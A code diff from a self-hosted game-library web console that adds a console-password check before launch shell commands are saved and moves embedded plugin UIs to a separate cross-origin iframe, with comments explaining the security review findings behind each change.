||||
return null; // unavailable — the listener did not bind
|
||||
}
|
||||
@@ -23,6 +23,10 @@ interface FormState {
|
||||
header: string;
|
||||
logo: string;
|
||||
command: string;
|
||||
/** Console-password re-confirmation, required only when `command` is set — see the field's
|
||||
* own comment at the render site (2026-08-05 review M-6). Never round-tripped from the
|
||||
* server, so it is always empty on open, including when editing an entry that has one. */
|
||||
password: string;
|
||||
// Details — the flattened GameMeta fields; numbers and lists are kept as the raw
|
||||
// text the user typed and only parsed on submit.
|
||||
platform: string;
|
||||
@@ -43,6 +47,7 @@ const emptyForm: FormState = {
|
||||
header: "",
|
||||
logo: "",
|
||||
command: "",
|
||||
password: "",
|
||||
platform: "",
|
||||
description: "",
|
||||
developer: "",
|
||||
@@ -62,6 +67,7 @@ function formFrom(entry: GameEntry): FormState {
|
||||
header: entry.art.header ?? "",
|
||||
logo: entry.art.logo ?? "",
|
||||
command: entry.launch?.kind === "command" ? entry.launch.value : "",
|
||||
password: "",
|
||||
platform: entry.platform ?? "",
|
||||
description: entry.description ?? "",
|
||||
developer: entry.developer ?? "",
|
||||
@@ -104,6 +110,9 @@ function toInput(f: FormState): CustomInput {
|
||||
logo: trim(f.logo),
|
||||
},
|
||||
launch: command ? { kind: "command", value: command } : null,
|
||||
// The BFF re-verifies this and strips it before forwarding; the host never sees the field.
|
||||
// Only sent when there is a command to authorize, matching the conditional gate.
|
||||
...(command ? { password: f.password } : {}),
|
||||
platform: trim(f.platform),
|
||||
description: trim(f.description),
|
||||
developer: trim(f.developer),
|
||||
@@ -208,6 +217,8 @@ export const GameForm: FC<{
|
||||
e.preventDefault();
|
||||
const data = toInput(form);
|
||||
if (!data.title) return;
|
||||
// A command is code the host will run on its own; the password field is required with it.
|
||||
if (form.command.trim() && !form.password) return;
|
||||
onSubmit(data);
|
||||
};
|
||||
|
||||
@@ -270,6 +281,22 @@ export const GameForm: FC<{
|
||||
onChange={set("command")}
|
||||
help={m.library_field_command_help()}
|
||||
/>
|
||||
{/* A launch command is a shell command the host runs as the host user, so saving
|
||||
one clears the same bar as a hook or an unreviewed install: the console
|
||||
password, not just a 7-day session cookie (2026-08-05 review M-6). Shown only
|
||||
when there is a command to authorize — gating an ordinary title/art edit
|
||||
would just train the operator to type it without reading. */}
|
||||
{form.command.trim() && (
|
||||
<Field
|
||||
id="password"
|
||||
label={m.library_field_password()}
|
||||
value={form.password}
|
||||
onChange={set("password")}
|
||||
help={m.library_field_password_help()}
|
||||
type="password"
|
||||
required
|
||||
/>
|
||||
)}
|
||||
<fieldset className="space-y-4 border-t pt-2">
|
||||
<legend className="sr-only">{m.library_details_legend()}</legend>
|
||||
<p
|
||||
|
||||
@@ -1,14 +1,20 @@
|
||||
// A plugin's UI, embedded in the console (plugin-ui-surface §5). We probe the plugin's liveness
|
||||
// first and only mount the iframe when it answers — otherwise the iframe would show the proxy's raw
|
||||
// 502. The iframe is same-origin (proxied through /plugin-ui), so the plugin can talk to its own
|
||||
// loopback REST with the operator's session and, optionally, keep the address bar in sync by posting
|
||||
// `{ type: "pf-ui:navigate", path }` to the parent.
|
||||
// 502.
|
||||
//
|
||||
// The iframe is CROSS-ORIGIN: plugin UIs are served from their own origin (same scheme and host,
|
||||
// its own port — see nitro-entry/bun-https.mjs and 2026-08-05 review H-3). The plugin can still talk
|
||||
// to its own loopback REST with the operator's session, because that origin is same-SITE and the
|
||||
// `SameSite=Lax` cookie reaches it; what it can no longer do is read or drive the console. It may
|
||||
// still keep the address bar in sync by posting `{ type: "pf-ui:navigate", path }` to the parent —
|
||||
// now verified against the plugin origin before it is honoured.
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { getRouteApi, useNavigate } from "@tanstack/react-router";
|
||||
import { ExternalLink, RefreshCw } from "lucide-react";
|
||||
import { type FC, useEffect, useMemo, useRef } from "react";
|
||||
import { pluginIcon, usePlugins } from "@/api/plugins";
|
||||
import { useInstalledPlugins } from "@/api/store";
|
||||
import { pluginOriginFrom, useUiConfig } from "@/api/uiConfig";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { useLocale } from "@/lib/i18n";
|
||||
import { m } from "@/paraglide/messages";
|
||||
@@ -34,14 +40,21 @@ export const SectionPlugin: FC = () => {
|
||||
const { data: installed } = useInstalledPlugins();
|
||||
const provenance = installed?.find((p) => p.plugin_id === pluginId);
|
||||
|
||||
// Where plugin UIs are served from. `undefined` = still resolving, `null` = the plugin listener
|
||||
// did not bind, so there is nowhere safe to render this and we say so instead of falling back to
|
||||
// the console's own origin — that fallback IS the vulnerability.
|
||||
const { data: uiConfig } = useUiConfig();
|
||||
const pluginOrigin = pluginOriginFrom(uiConfig);
|
||||
|
||||
// Liveness: a 200 from /__health means the plugin is up.
|
||||
//
|
||||
// Two subtleties, both learned the hard way:
|
||||
//
|
||||
// - A 200 is not enough. `fetch` follows redirects, so an expired session — where the gate
|
||||
// answers 302 → /login → 200 HTML — looked exactly like a healthy plugin, and the console
|
||||
// rendered its own login page inside the plugin's iframe. `redirect: "manual"` makes that
|
||||
// an opaque response we can reject instead.
|
||||
// rendered its own login page inside the plugin's iframe. This now asks the CONSOLE origin,
|
||||
// which probes the plugin server-side (the plugin origin is cross-origin to us and would need
|
||||
// CORS to be readable from here) — and a bounced session is a plain 401, not HTML.
|
||||
// - One failure must not be terminal. The runner is restarted at the end of every successful
|
||||
// install, so a single missed probe is routine; giving up on the first one threw away
|
||||
// whatever the operator had open in another plugin. Retry a few times, and keep probing on a
|
||||
@@ -49,11 +62,11 @@ export const SectionPlugin: FC = () => {
|
||||
const health = useQuery({
|
||||
queryKey: ["plugin-health", pluginId],
|
||||
queryFn: async () => {
|
||||
const r = await fetch(`/plugin-ui/${pluginId}/__health`, {
|
||||
const r = await fetch(`/_plugin-health/${pluginId}`, {
|
||||
credentials: "same-origin",
|
||||
redirect: "manual",
|
||||
});
|
||||
// `type === "opaqueredirect"` is the gate bouncing us to /login, not the plugin answering.
|
||||
// `type === "opaqueredirect"` is the gate bouncing us to /login, not an answer.
|
||||
if (r.type === "opaqueredirect") throw new Error("session expired");
|
||||
if (!r.ok) throw new Error(`health ${r.status}`);
|
||||
return true;
|
||||
@@ -62,18 +75,49 @@ export const SectionPlugin: FC = () => {
|
||||
refetchInterval: (q) => (q.state.status === "error" ? 5_000 : 20_000),
|
||||
});
|
||||
|
||||
// Is the plugin ORIGIN reachable from this browser? Distinct from "is the plugin running".
|
||||
//
|
||||
// The console is served with the host's own self-signed certificate, and a browser stores a
|
||||
// certificate exception PER ORIGIN — including the port. So the operator having trusted
|
||||
// https://host:47992 says nothing about https://host:47993, and a certificate interstitial
|
||||
// cannot be shown (let alone accepted) inside an iframe: the frame would just sit blank, with no
|
||||
// way to fix it and nothing on screen explaining why.
|
||||
//
|
||||
// A `no-cors` probe distinguishes the two cases without needing CORS: the response is opaque and
|
||||
// unreadable either way, but a TLS failure REJECTS while an ordinary answer — even a 401 —
|
||||
// resolves. Rejection therefore means "this browser will not talk to that origin yet", which is
|
||||
// a one-time, fixable thing, so we say so and link to it.
|
||||
const reachable = useQuery({
|
||||
queryKey: ["plugin-origin-reachable", pluginOrigin],
|
||||
enabled: !!pluginOrigin,
|
||||
queryFn: async () => {
|
||||
await fetch(`${pluginOrigin}/plugin-ui/${pluginId}/__health`, {
|
||||
mode: "no-cors",
|
||||
cache: "no-store",
|
||||
});
|
||||
return true;
|
||||
},
|
||||
retry: 1,
|
||||
staleTime: 60_000,
|
||||
});
|
||||
|
||||
// The iframe src is fixed at the initial deep-link path; the plugin's own in-app navigation drives
|
||||
// the console URL via postMessage (below), never the src — so there's no reload loop.
|
||||
// biome-ignore lint/correctness/useExhaustiveDependencies: intentionally pinned to the initial path
|
||||
const initialSrc = useMemo(
|
||||
() => `/plugin-ui/${pluginId}/${_splat ?? ""}`,
|
||||
[pluginId],
|
||||
() => `${pluginOrigin ?? ""}/plugin-ui/${pluginId}/${_splat ?? ""}`,
|
||||
[pluginId, pluginOrigin],
|
||||
);
|
||||
|
||||
// Keep the console address bar in sync with the plugin's internal routing.
|
||||
useEffect(() => {
|
||||
const onMessage = (e: MessageEvent) => {
|
||||
if (e.source !== iframeRef.current?.contentWindow) return;
|
||||
// Now that the frame is cross-origin, `e.origin` is a real check rather than a tautology:
|
||||
// only the plugin origin may drive the console's address bar. (Empty `pluginOrigin` is
|
||||
// the vite-dev same-origin arrangement, where `e.origin` is our own.)
|
||||
const expected = pluginOrigin || window.location.origin;
|
||||
if (e.origin !== expected) return;
|
||||
const data = e.data as { type?: string; path?: string };
|
||||
if (data?.type === "pf-ui:navigate" && typeof data.path === "string") {
|
||||
navigate({
|
||||
@@ -85,7 +129,7 @@ export const SectionPlugin: FC = () => {
|
||||
};
|
||||
window.addEventListener("message", onMessage);
|
||||
return () => window.removeEventListener("message", onMessage);
|
||||
}, [pluginId, navigate]);
|
||||
}, [pluginId, navigate, pluginOrigin]);
|
||||
|
||||
return (
|
||||
<div className="flex h-[calc(100dvh-7rem)] min-h-[480px] flex-col gap-3 sm:h-[calc(100dvh-5rem)]">
|
||||
@@ -99,27 +143,45 @@ export const SectionPlugin: FC = () => {
|
||||
</span>
|
||||
)}
|
||||
{provenance && <TierBadge tier={provenance.tier} />}
|
||||
<a
|
||||
href={`/plugin-ui/${pluginId}/`}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="ml-auto inline-flex items-center gap-1.5 text-sm text-muted-foreground transition-colors hover:text-foreground"
|
||||
>
|
||||
<ExternalLink className="size-4" />
|
||||
{m.plugin_open_new_tab()}
|
||||
</a>
|
||||
{/* Full-window, on the PLUGIN origin. This link used to be the same escalation as the
|
||||
iframe with no sandbox involved at all — a top-level document on the console origin,
|
||||
holding the operator's session. It only stops being that because the origin moved,
|
||||
which is why the fix could never have been a sandbox attribute. */}
|
||||
{pluginOrigin !== null && pluginOrigin !== undefined && (
|
||||
<a
|
||||
href={`${pluginOrigin}/plugin-ui/${pluginId}/`}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="ml-auto inline-flex items-center gap-1.5 text-sm text-muted-foreground transition-colors hover:text-foreground"
|
||||
>
|
||||
<ExternalLink className="size-4" />
|
||||
{m.plugin_open_new_tab()}
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{health.isError ? (
|
||||
{pluginOrigin === null ? (
|
||||
<UnavailableCard />
|
||||
) : reachable.isError ? (
|
||||
<UntrustedOriginCard
|
||||
href={`${pluginOrigin}/plugin-ui/${pluginId}/`}
|
||||
onRetry={() => reachable.refetch()}
|
||||
/>
|
||||
) : health.isError ? (
|
||||
<OfflineCard title={title} onRetry={() => health.refetch()} />
|
||||
) : health.isSuccess ? (
|
||||
) : health.isSuccess && pluginOrigin !== undefined ? (
|
||||
<iframe
|
||||
ref={iframeRef}
|
||||
src={initialSrc}
|
||||
title={title}
|
||||
className="w-full flex-1 rounded-lg border bg-card"
|
||||
// The plugin is operator-installed code on our own origin (no new trust boundary —
|
||||
// plugin-ui-surface §7.4); allow it to run scripts, forms, popups, and full-window.
|
||||
// `allow-same-origin` is correct HERE and was the vulnerability BEFORE, because what
|
||||
// counts as "same origin" changed underneath it: the frame now loads from the plugin
|
||||
// origin, so this grants the plugin its OWN origin (storage, its own fetches) rather
|
||||
// than the console's. Removing it would give the frame an opaque origin instead,
|
||||
// which stops the SameSite=Lax session cookie and 302s every plugin asset to /login
|
||||
// — the dead end recorded in 2026-08-05 review H-3. Origin isolation is enforced by
|
||||
// the two listeners (nitro-entry/bun-https.mjs), not by this attribute.
|
||||
sandbox="allow-scripts allow-forms allow-popups allow-same-origin allow-modals"
|
||||
allow="fullscreen"
|
||||
/>
|
||||
@@ -131,6 +193,57 @@ export const SectionPlugin: FC = () => {
|
||||
);
|
||||
};
|
||||
|
||||
/**
|
||||
* The plugin-UI listener did not bind, so there is no origin to render a plugin on.
|
||||
*
|
||||
* Deliberately a dead end rather than a fallback: serving the plugin on the console's own origin is
|
||||
* exactly the escalation the separate origin exists to prevent, so "the port is busy" must degrade
|
||||
* to "no plugin UIs", never to "plugin UIs, unsafely".
|
||||
*/
|
||||
const UnavailableCard: FC = () => (
|
||||
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed">
|
||||
<div className="flex max-w-md flex-col items-center gap-3 p-8 text-center">
|
||||
<h2 className="text-base font-semibold">
|
||||
{m.plugin_origin_unavailable_title()}
|
||||
</h2>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
{m.plugin_origin_unavailable_hint()}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
/**
|
||||
* The plugin origin exists but this browser will not talk to it yet — almost always the host's
|
||||
* self-signed certificate not having been accepted for that PORT (exceptions are per origin), which
|
||||
* an iframe can never prompt for. One visit in a real tab fixes it for good.
|
||||
*/
|
||||
const UntrustedOriginCard: FC<{ href: string; onRetry: () => void }> = ({
|
||||
href,
|
||||
onRetry,
|
||||
}) => (
|
||||
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed">
|
||||
<div className="flex max-w-md flex-col items-center gap-3 p-8 text-center">
|
||||
<h2 className="text-base font-semibold">
|
||||
{m.plugin_origin_untrusted_title()}
|
||||
</h2>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
{m.plugin_origin_untrusted_hint()}
|
||||
</p>
|
||||
<Button asChild variant="outline" size="sm">
|
||||
<a href={href} target="_blank" rel="noreferrer">
|
||||
<ExternalLink className="size-4" />
|
||||
{m.plugin_origin_untrusted_open()}
|
||||
</a>
|
||||
</Button>
|
||||
<Button variant="ghost" size="sm" onClick={onRetry}>
|
||||
<RefreshCw className="size-4" />
|
||||
{m.plugin_retry()}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
const OfflineCard: FC<{ title: string; onRetry: () => void }> = ({
|
||||
title,
|
||||
onRetry,
|
||||
|
||||
@@ -13,6 +13,9 @@ const emptyForm = {
|
||||
header: "",
|
||||
logo: "",
|
||||
command: "",
|
||||
// The console-password confirmation the form requires alongside a launch command; empty here
|
||||
// because the story renders the untouched add form, which has no command yet.
|
||||
password: "",
|
||||
platform: "",
|
||||
description: "",
|
||||
developer: "",
|
||||
|
||||
Reference in New Issue
Block a user